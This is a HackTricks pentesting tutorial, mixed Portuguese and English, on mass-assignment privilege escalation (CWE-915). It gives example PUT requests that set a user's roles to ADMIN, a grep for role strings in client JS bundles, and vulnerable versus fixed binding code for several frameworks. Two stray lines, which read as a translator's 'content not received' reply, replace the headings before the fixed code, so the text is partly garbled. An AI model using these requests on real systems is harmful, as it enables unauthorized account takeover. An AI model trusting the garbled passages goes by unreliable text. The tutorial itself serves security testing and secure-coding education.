Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Mass assignment (a.k.a. insecure object binding) acontece quando um API/controller recebe JSON fornecido pelo usuário e o vincula diretamente a um modelo/entidade no servidor sem uma lista explícita de campos permitidos (allow-list). Se propriedades privilegiadas como roles, isAdmin, status, ou ownership fields forem vinculáveis, qualquer usuário autenticado pode escalar privilégios ou alterar estados protegidos.
This is a Broken Access Control issue (OWASP A01:2021) que frequentemente permite vertical privilege escalation ao definir roles=ADMIN ou valores similares. Isso normalmente afeta frameworks que suportam binding automático do corpo da requisição para modelos de dados (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).
1) Finding Mass Assignment
Procure endpoints self-service que atualizem seu próprio perfil ou recursos similares:
- PUT/PATCH /api/users/{id}
 - PATCH /me, PUT /profile
 - PUT /api/orders/{id}
 
Heurísticas que indicam mass assignment:
- A resposta ecoa campos gerenciados pelo servidor (por exemplo, roles, status, isAdmin, permissions) mesmo quando você não os enviou.
 - Bundles do cliente contêm nomes/IDs de roles ou outros nomes de atributos privilegiados usados pela aplicação (admin, staff, moderator, internal flags), sugerindo um schema vinculável.
 - Serializadores do backend aceitam campos desconhecidos sem rejeitá-los.
 
Fluxo de teste rápido:
- Realize uma atualização normal com apenas campos seguros e observe a estrutura completa da resposta JSON (this leaks the schema).
 - Repita a atualização incluindo um campo privilegiado manipulado no body. Se a resposta persistir a alteração, provavelmente há mass assignment.
 
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
Resposta indica campos privilegiados:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Exploitation – Role Escalation via Mass Assignment
Uma vez que você conheça o bindable shape, inclua a propriedade privileged na mesma requisição.
Exemplo: defina roles como ADMIN no seu próprio recurso de usuário:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
Se a alteração de papel persistir na resposta, reautentique-se ou atualize tokens/claims para que o app emita uma sessão com contexto de admin e mostre a UI/endpoints privilegiados.
Notas
- Identificadores e formatos de roles são frequentemente enumerados a partir do client JS bundle ou dos API docs. Procure por strings como "roles", "ADMIN", "STAFF", ou IDs numéricos de roles.
 - Se tokens contiverem claims (por exemplo, JWT roles), geralmente é necessário logout/login ou token refresh para perceber os novos privilégios.
 
3) Client Bundle Recon para Schema and Role IDs
- Inspecione minified JS bundles em busca de role strings e model names; source maps podem revelar DTO shapes.
 - Procure por arrays/maps de roles, permissions, ou feature flags. Construa payloads que correspondam exatamente aos nomes de propriedades e ao aninhamento.
 - Indicadores típicos: role name constants, dropdown option lists, validation schemas.
 
Handy greps against a downloaded bundle:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) Armadilhas de Frameworks e Padrões Seguros
A vulnerabilidade surge quando frameworks vinculam req.body diretamente a entidades persistentes. Abaixo estão erros comuns e padrões mínimos e seguros.
Node.js (Express + Mongoose)
Vulnerável:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Não recebi o conteúdo do arquivo. Cole aqui o texto (markdown) de src/pentesting-web/mass-assignment-cwe-915.md que deseja que eu traduza para português, ou confirme onde encontrá‑lo.
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
Vulnerável (sem strong parameters):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Correção (strong params + sem campos privilegiados):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Vulnerável:
protected $guarded = []; // Everything mass-assignable (bad)
Você não forneceu o conteúdo a ser traduzido. Por favor cole o conteúdo do arquivo src/pentesting-web/mass-assignment-cwe-915.md (incluindo Markdown/HTML) que deseja que eu traduza para português.
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
Padrão vulnerável:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Correção: Mapear para um DTO com apenas os campos permitidos e reforçar a autorização:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
Então copie os campos permitidos do DTO para a entidade no servidor e trate alterações de roles somente em handlers exclusivos para admin após as verificações RBAC. Use @JsonIgnore em campos privilegiados, se necessário, e rejeite propriedades desconhecidas.
Go (encoding/json)
- Garanta que campos privilegiados usem json:"-" e valide com uma DTO struct que inclua apenas os campos permitidos.
 - Considere decoder.DisallowUnknownFields() e validação pós-bind das invariantes (roles não podem mudar em rotas de self-service).
 
References
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
 - OWASP Top 10 – Broken Access Control
 - CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks